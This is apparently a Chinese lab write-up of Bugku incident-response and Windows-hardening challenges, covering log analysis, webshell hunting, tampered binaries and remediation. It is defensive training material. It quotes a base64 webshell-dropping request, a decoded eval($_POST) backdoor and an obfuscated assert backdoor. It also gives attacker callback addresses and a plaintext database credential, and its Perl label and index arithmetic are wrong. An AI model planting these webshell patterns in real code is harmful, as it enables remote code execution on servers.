应急响应入门-bugku靶场
应急响应入门-bugku靶场
学习途径
bugku有靶场
pdd,pdd,完成了,待解决那个是因为靶场问题
靶场01_网络安全事件应急响应
提交攻击者的IP地址
提交攻击者目录扫描所使用的工具名称
提交攻击者首次攻击成功的时间
找到攻击者写入的恶意后门文件
05找到攻击者写入的恶意后门文件密码
06找到攻击者隐藏在正常web应用代码中的恶意代码
07识别系统中存在的恶意程序进程
08识别系统中存在的恶意程序进程2
09修复漏洞
删除恶意程序、文件、代码
01提交攻击者的IP地址
liunx看日志文件中有几个ip命令(access.log文件为例)
cut -d' ' -f1 access.log | sort | uniq | wc -l
cut -d' ' -f1 /path/to/your/logfile.log | sort | uniq | wc -l
查看分别是哪一些ip
cut -d' ' -f1 access.log | sort | uniq
cut -d' ' -f1 /path/to/your/logfile.log | sort | uniq
每个ip的访问次数是多少
awk '{print $1}' access.log | sort | uniq -c | sort -nr
命令解释
awk '{print $1}' /var/log/apache2/access.log:提取access.log文件中每行的第一个字段(通常是客户端IP地址)。
sort:对提取出的所有IP地址进行排序。
uniq -c:过滤掉重复的IP地址,并在前面加上该IP地址出现的次数(-c选项)。
sort -nr:按照数值大小逆序排列结果(-n表示按数值排序,-r表示逆序)
实例
15357 38.207.130.14
访问次数最多的ip就是攻击者的地址38.207.130.14
02提交攻击者目录扫描所使用的工具名称
提交小写,不要版本号
dirbuster
03提交攻击者首次攻击成功的时间
直接找
38.207.130.14 - - [03/Nov/2023:15:03:35 +08:00] "POST /search.php?eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1" 200 4527 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36"
[03/Nov/2023:15:03:35 +08:00]
03/11/2023:15:03:35
04找到攻击者写入的恶意后门文件路径
解密base64看看
1. file_put_contents
file_put_contents:这是一个PHP内置函数,用于将一个字符串写入文件。如果文件不存在,则会创建一个新的文件;如果文件已经存在,则会覆盖原有内容。
2. 'a.php'
'a.php':这是目标文件的路径和名称。在这个例子中,它表示在当前工作目录下创建或更新一个名为 a.php 的文件。
3. '<?php eval($_POST[1]); ?>'
'<?php ... ?>':这是PHP的起始和结束标签,表示其中的内容是PHP代码。
eval():这是一个PHP函数,用于执行传入的字符串作为PHP代码。使用这个函数时要非常小心,因为它可以直接执行任何传递给它的代码,这可能导致严重的安全问题。
$_POST[1]:这是一个超全局数组,用于获取通过HTTP POST方法提交的数据。$_POST[1] 表示获取POST数据中的索引为 1 的值
命令遍历查找文件
find / -name a.php
find / -name a.php 是一个在Linux系统中用于查找文件的命令。具体来说,这个命令会在根目录(/)及其所有子目录中查找名为 a.php 的文件。
1. find
find:是一个强大的命令行工具,用于在文件系统中搜索文件和目录。它可以根据多种条件进行搜索,如文件名、文件类型、修改时间等。
2. /
/:指定搜索的起始目录。在这个例子中,/ 表示从根目录开始搜索整个文件系统。
3. -name a.php
-name:这是 find 命令的一个选项,用于根据文件名进行匹配。
a.php:是要查找的文件名。请注意,-name 选项是区分大小写的。如果你想忽略大小写,可以使用 -iname 选项。
05找到攻击者写入的恶意后门文件密码
直接查看木马文件
/var/www/html/a.php
cat /var/www/html/a.php
密码为1
06找到攻击者隐藏在正常web应用代码中的恶意代码
D盾等扫描
直接将www目录下的文件扫一遍
\html\include\webscan\360webscan.php
又找到一个后门文件
完整路径
/var/www/html/include/webscan/360webscan.php
具体查看代码
这段代码是经过混淆的Perl代码,目的是通过
assert
函数执行
$_POST
中的代码。以下是逐步解析:
第一行:
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_
是一个数组变量,$_
是Perl中的默认变量。"s"."s"
连接两个字符串,得到"ss"
。/*-/*-*/
是多行注释,不影响代码。- 最终
@$_
被赋值为"sser"
。
第二行:
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
"a"
是字符串"a"
。$_
是之前赋值的"sser"
。"t"
是字符串"t"
。- 最终
@$_
被赋值为"assert"
。
3. 第三行:
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
实际上是{"_POST"}
,即访问$_POST
超全局变量。[0-2-5]
是数组索引,计算结果为-7
,但可能是混淆的一部分,实际意图是访问$_POST
中的某个元素。- 最终,
@$_
被当作函数调用,参数是$_POST
中的某个元素。
简洁版本
去掉注释和混淆部分,代码的核心逻辑如下:
@$_ = "assert";
@$_($_POST[0]);
解释
@$_ = "assert";
将
$_
赋值为字符串"assert"
。@$_($_POST[0]);
将
$_
当作函数调用,参数是$_POST
数组的第一个元素。
07识别系统中存在的恶意程序进程
列出进程
ps -aux
查看计划任务
既然是恶意进程,那就有计划任务
cd /var/spool/cron
ls #看到crontabs
/crontabs
vi www-data
看到进程
flag: /var/crash/php-fpm
这里从进程中能看到有一个异常的进程
08识别系统中存在的恶意程序进程2
直接查看进程与ip和端口等等
netstat -anutp
netstat -anutp 是一个用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员资格的命令。
1. netstat
netstat:是一个网络统计工具,用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员资格。
2. -a
-a 或 --all:显示所有活动的连接和监听端口。包括 TCP 和 UDP 连接。
3. -n
-n 或 --numeric:显示数字形式的地址和端口号,而不是尝试解析为域名和服务名。这可以加快输出速度并避免DNS查询失败的问题。
4. -u
-u 或 --udp:显示 UDP 协议的连接。
5. -t
-t 或 --tcp:显示 TCP 协议的连接。
6. -p
-p 或 --programs:显示每个连接对应的程序名称和进程ID(PID)。需要有相应的权限(通常是 root 用户)才能查看这些信息。
7. -a 和 -n 的组合
使用 -a 和 -n 选项的组合可以显示所有活动的连接和监听端口,并且以数字形式显示地址和端口号。
实例
进程名对应端口就解决问题了
flag:38.95.101.254:443
09修复漏洞
漏洞在网站中,先看看首页
查看版本号–找data里面的ver.txt
海洋cms,直接去看版本号找漏洞
V6.55
根据版本号找漏洞
海洋cms v6.55
10删除恶意程序、文件、代码
直接删文件 rm -f 路径
- 删除恶意代码文件 /var/www/html/include/webscan/360webscan.php
sudo rm -f /var/www/html/include/webscan/360webscan.php
- 删除 webshell 文件 /var/www/html/a.php
sudo rm -f /var/www/html/a.php
- 删除恶意程序 /var/crash/php-fpm
sudo rm -f /var/crash/php-fpm
删除定时任务
crontab -e -u www-data
参考:
忘记加了,糟糕
靶场02_应急加固1
黑客首次webshell密码
黑客首次入侵方式
黑客服务器的信息
黑客的webshell2
mysql
黑客的账号
黑客篡改的命令1
黑客篡改的命令2
修复JS劫持
01js劫持
了解js劫持就可以找到域名
原本访问目标地址进入到的应该是”XX学院二手交易市场“,却被劫持跳转至某大佬博客
过了一会就直接跳到
flag1:https://www.194nb.com
02黑客首次webshell密码
解法一:直接将www拿出来扫,然后找后门文件,找webshell有密码的
\html\public\Uploads\6127418cad73c.php
<?php @eval($_POST['QjsvWsp6L84Vl9dRTTytVyn5xNr1']); ?>
解法2:查看access.log日志文件
能找到,但不建议
03-黑客首次入侵方式
查看攻击ip次数
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr
123.139.39.161
这个应该就是攻击ip
python找固定ip有关信息
import re
def extract_ip_logs(log_file_path, target_ip):
"""
从给定的日志文件中提取所有包含目标IP地址的行。
:param log_file_path: str, 日志文件路径
:param target_ip: str, 目标IP地址
"""
try:
# 使用正则表达式匹配IP地址
ip_pattern = re.compile(r'\b{}\b'.format(re.escape(target_ip)))
with open(log_file_path, 'r') as file:
lines = file.readlines()
# 筛选出包含目标IP地址的行
matched_lines = [line for line in lines if ip_pattern.search(line)]
if matched_lines:
print(f"找到{len(matched_lines)}条记录包含IP地址 {target_ip}:")
for line in matched_lines:
print(line.strip())
else:
print(f"没有找到包含IP地址 {target_ip} 的记录。")
except FileNotFoundError:
print(f"错误:无法找到文件 {log_file_path}")
except Exception as e:
print(f"发生错误:{e}")
# 调用函数
if __name__ == "__main__":
log_file_path = 'access.log' # 替换为你的access.log文件路径
target_ip = '123.139.39.161' # ip
extract_ip_logs(log_file_path, target_ip)
找到xss特征
04-黑客服务器的信息
查看进程
ps aux
看到1.sh
找文件位置
find / -name "1.sh"
路径
/var/www/html/runtime/cache/1.sh
查看
49.232.241.253/8888
IP:端口
49.232.241.253:8888
05-黑客的webshell2
直接将www拿出来扫即可找到flag
06-mysql
查看数据库数据
查看
/var/www/html/application/database.php
得到
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------
return [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'aman',
// 用户名
'username' => 'root',
// 密码
'password' => '123456',
// 端口
'hostport' => '',
// 连接dsn
'dsn' => '',
// 数据库连接参数
'params' => [],
// 数据库编码默认采用utf8
'charset' => 'utf8',
// 数据库表前缀
'prefix' => 'aman_',
// 数据库调试模式
'debug' => true,
// 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'deploy' => 0,
// 数据库读写是否分离 主从式有效
'rw_separate' => false,
// 读写分离后 主服务器数量
'master_num' => 1,
// 指定从服务器序号
'slave_no' => '',
// 自动读取主库数据
'read_master' => false,
// 是否严格检查字段是否存在
'fields_strict' => true,
// 数据集返回类型
'resultset_type' => 'array',
// 自动写入时间戳字段
'auto_timestamp' => !true,
// 时间字段取出后的默认时间格式
'datetime_format' => 'Y-m-d H:i:s',
// 是否需要进行SQL性能分析
'sql_explain' => false,
];
找到账号密码
查看位置
/etc/mysql/my.cnf
看到my.cnf中的secure-file-priv值为空,也就是可以在服务器上随意写文件
数据库任意写入
将secure-file-priv=null即可
重启数据库
先找到mysql位置
find / -name "mysql"
/etc/init.d/mysql restart
07-黑客的账号
查看账号密码
cat /etc/passwd
通过查看 /etc/passwd 文件得知攻击者添加的账号
最后一个就是黑客创建的
删除账户
userdel -r aman
userdel -rf 账号名
08被篡改的命令1
修复黑客篡改的命令并且删除篡改命令生成的免杀马
bin目录找
题目要修复黑客篡改的命令,进入/bin目录找,其中ls和ps可疑
(其实执行的就可以发现有点问题,正常ls命令执行的时候一行有好几个文件和文件名,这个冒牌货ls执行的时候,每一个文件和文件名都占一行)
09被篡改的命令2
修复黑客篡改的命令并且删除篡改命令生成的免杀马
显示了某个目录下文件和子目录的详细信息
ls -l
示例
假设你的目标目录是/path/to/directory,你可以运行以下命令:
ls -l /path/to/directory
输出解释
以你提供的图片为例,输出如下:
-rwxr-xr-x 1 root root 5632 Aug 29 20:21 psdumon_ups
-rwxr-xr-x 1 root root 134 Aug 29 20:21 ps_
-rwxr-xr-x 1 root root 93328 Feb 11 20:21 ps_
输出字段解释
-rwxr-xr-x:文件权限。
rwx:文件所有者的权限(读、写、执行)。
r-x:所属组的权限(读、执行)。
r-x:其他用户的权限(读、执行)。
1:硬链接数。
root:文件所有者。
root:文件所属组。
5632:文件大小(以字节为单位)。
Aug 29 20:21:最后修改时间。
psdumon_ups:文件名。
其他常用选项
-a:显示所有文件,包括隐藏文件(以.开头的文件)。
-h:以人类可读的格式显示文件大小(如KB、MB、GB等)。
-t:按时间排序。
-S:按文件大小排序。
看到2021年创建的木马
直接删除被篡改的命令
rm ps
mv ps_ ps
rm ls
mv ls2 ls
rm /var/www/html/public/static/img/1.php
1. rm ps
功能:尝试删除当前目录下名为 ps 的文件。
注意:如果文件不存在,将会收到一个错误信息。执行此操作前,请确保你知道该文件的作用,并确认是否真的要删除它。
2. mv ps_ ps
功能:如果 ps 文件已经被删除或不存在,这个命令会将名为 ps_ 的文件重命名为 ps。换句话说,这是在用 ps_ 替换 ps。
注意:如果 ps 文件仍然存在,这将覆盖原有的 ps 文件。请确保这是你想要的结果。
3. rm ls
功能:尝试删除当前目录下名为 ls 的文件。
注意:与 rm ps 类似,执行前请确认是否真的需要删除该文件。请注意,这里提到的 ls 是指文件名,而不是 ls 命令本身,因为系统命令通常位于 /bin, /usr/bin 等目录中,并且不会轻易被用户删除。
4. mv ls2 ls
功能:类似于 mv ps_ ps,这个命令尝试将名为 ls2 的文件重命名为 ls。如果 ls 文件已经存在,它将被 ls2 覆盖。
注意:确保这是预期的行为,特别是当涉及到可能重要的配置文件或其他关键文件时。
5. rm /var/www/html/public/static/img/1.php
功能:尝试删除位于 /var/www/html/public/static/img/ 目录下的 1.php 文件。
注意:
权限问题:你需要有足够的权限来删除这个位置的文件。如果没有权限,命令将失败并显示错误信息。
重要性:由于路径指向网站的公共静态资源目录,
10修复js劫持
直接找
find . | xargs grep -ri '<script type="text/javascript">' -l | sort | uniq -c
find .:
这部分命令从当前目录(.表示当前目录)开始,递归地查找所有的文件和子目录。
| xargs grep -ri '<script type="text/javascript">' -l:
|:管道符号,它将前一个命令(find .)的输出作为下一个命令的输入。
xargs:该命令将标准输入转换成命令行参数,以便将find找到的所有文件名传递给grep命令。
grep -ri '<script type="text/javascript">' -l:
-r:递归选项,虽然在这个上下文中由于使用了find,所以实际上不需要这个选项,因为find已经处理了递归。
-i:忽略大小写区别,使得搜索不区分大小写。
-l:仅打印包含匹配项的文件名,而不是默认的每行匹配内容。
'<script type="text/javascript">':这是要搜索的文本模式。
| sort:
对前面命令输出的文件列表进行排序。
| uniq -c:
对排序后的文件列表进行唯一性过滤,并计数每个唯一的文件出现次数。
-c:在每行输出前加上重复出现的次数
在当前目录及所有子目录中寻找包含<script type="text/javascript">文本的所有文件。
find . | xargs grep -ri 'flag' -l | sort | uniq -c
在当前目录及所有子目录中寻找包含flag{文本的所有文件。
将php全部删除
修改js.html
将后面删掉即可
参考
https://blog.csdn.net/jiuyongpinyin/article/details/128645057
https://www.sec-in.com/article/1911
https://cloud.tencent.com/developer/article/2393463
https://cn-sec.com/archives/1365686.html
https://www.cnblogs.com/thebeastofwar/p/17812406.html
靶场3_应急加固【简单】
01提权方式
02黑客的webshell
03黑客的账号
04后门木马
加固服务器
删除木马
修复漏洞
这个是Windows题目,所以有Xshell连接不了了
远程桌面连接
(得先打开允许远程访问)
命令提示符输入
mstsc
输入ip
确定之后再输入账号密码即可
01提权方式
找到了udf.dll文件确定是UDF提权
flag1:udf
02黑客的webshell
直接将www里面的东西拿出来扫
复制粘贴就行
得到
\WWW\dede\inc\config_sys.php
直接删了就行
03黑客的账号
看到harry已经启动,而且他还是靶场作者,这个就是黑客的账户,删除即可
法1:
法2:
命令删除
查看用户有几个,分别是啥
net user
net user harry /delete
net user username /delete
04后门木马
请输入黑客后门木马连接的服务器IP
查看连接进程显示
netstat -ano
命令参数解释
netstat:这是Network Statistics的缩写,是一个网络统计工具,可以显示活动的TCP连接、计算机打开的端口、以太网统计信息等。
-a:显示所有活动的TCP连接以及计算机监听的TCP和UDP端口。这包括本地地址和端口号以及远程地址和端口号(如果适用)。
-n:以数字形式显示地址和端口号,而不是尝试解析主机名和服务名。这样可以加快显示速度,并避免DNS解析问题。
-o:显示与每个连接相关的进程ID(PID)。这对于识别哪个程序正在使用某个端口非常有用。
看到SYN_SENT连接模式
SYN_SENT 是TCP连接建立过程中的正常状态之一,表示你的计算机已经发送了一个SYN请求,正在等待对方的SYN-ACK响应。
ip为23.23.23.23
flag4:23.23.23.23
05加固服务器
设置服务器账号策略密码最小长度为8
“win+R"快捷键开启运行,输入"gpedit.msc”,回车打开;进入组策略编辑器,依次点击"计算机配置——Windows设置——安全设置—密码和账号锁定策略—密码策略"。将最小值改为8即可。
06删除木马
查找可疑的文件
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
删除即可
找到进程号
tasklist | findstr "system6"
终止进程
taskkill /PID 5968 /F
这里的 5968 是你要终止的进程的PID,/F 参数表示强制终止。
删除木马
直接删
07修复漏洞
windows找到数据库配置文件
dir /s /b C:\my.ini
打开my.ini,添加配置项secure_file_priv=null来限制数据导入导出的目录
重启数据库即可(直接在小皮面板重启即可)
参考:
又忘记加了,糟糕
靶场4_Windows Server安全配置
mstsc
密码安全
密码使用期限
登录安全
禁用来宾用户
帐户控制
权限控制
远程桌面设置
IIS日志
ftp安全
01密码安全
题目内容:设置密码最小长度为10
“win+R"快捷键开启运行,输入"gpedit.msc”,回车打开;进入组策略编辑器,依次点击"计算机配置——Windows设置——安全设置—密码和账号锁定策略—密码策略"。将最小值改为10即可。
管理工具
->
本地安全策略
->
账户策略
->
密码策略
->
密码长度最小值
01
02密码使用期限
题目内容:设置密码最长使用期限为30天
03登录安全
设置一分钟内仅允许6次登录失败的尝试,超过6次,登录帐号锁定1分钟
本地安全策略 -> 账户策略 -> 账户锁定策略 ->账户锁定阈值
本地安全策略 -> 账户策略 -> 账户锁定策略 ->账户锁定时间
04禁用来宾用户
题目内容:来宾访问计算机或访问域的内置帐户 设置为不允许
本地安全策略` -> `本地策略` -> `安全选项` -> `帐户:来宾帐户状态
05帐户控制
开启帐户控制(UAC)
滑到始终通知即可
06权限控制
只允许超级管理员(administrators)关闭操作系统
本地安全策略` -> `本地策略` -> `用户权限分配` ->`关闭系统
删除其他用户
07远程桌面设置
设置远程桌面用户空闲会话超过5分钟自动断开连接
计算机配置` -> `管理模板` -> `Windows 组件` -> `远程桌面服务` -> `远程桌面会话主机`-> `会话时间限制
08IIS日志
开启开启IIS的日志审计记录
控制面板-->所有控制面板项-->管理工具-->服务器管理 -> 角色 -> Web服务器IIS -> 角色服务 添加角色服务 -> 健康与诊断 -> 勾选HTTP日志记录
09ftp安全
关闭ftp匿名用户(注意ftp服务不能关闭)
控制面板`->`管理工具`->`IIS管理器` -> `ftp身份验证禁用匿名用户
参考
https://aicrc.cn:8521/archives/bugku-par-windows-serveran-quan-pei-zhi-ti-mu-jie-jue-fen-xi#%E9%97%AE%E9%A2%984%EF%BC%9A%E7%A6%81%E7%94%A8%E6%9D%A5%E5%AE%BE%E7%94%A8%E6%88%B7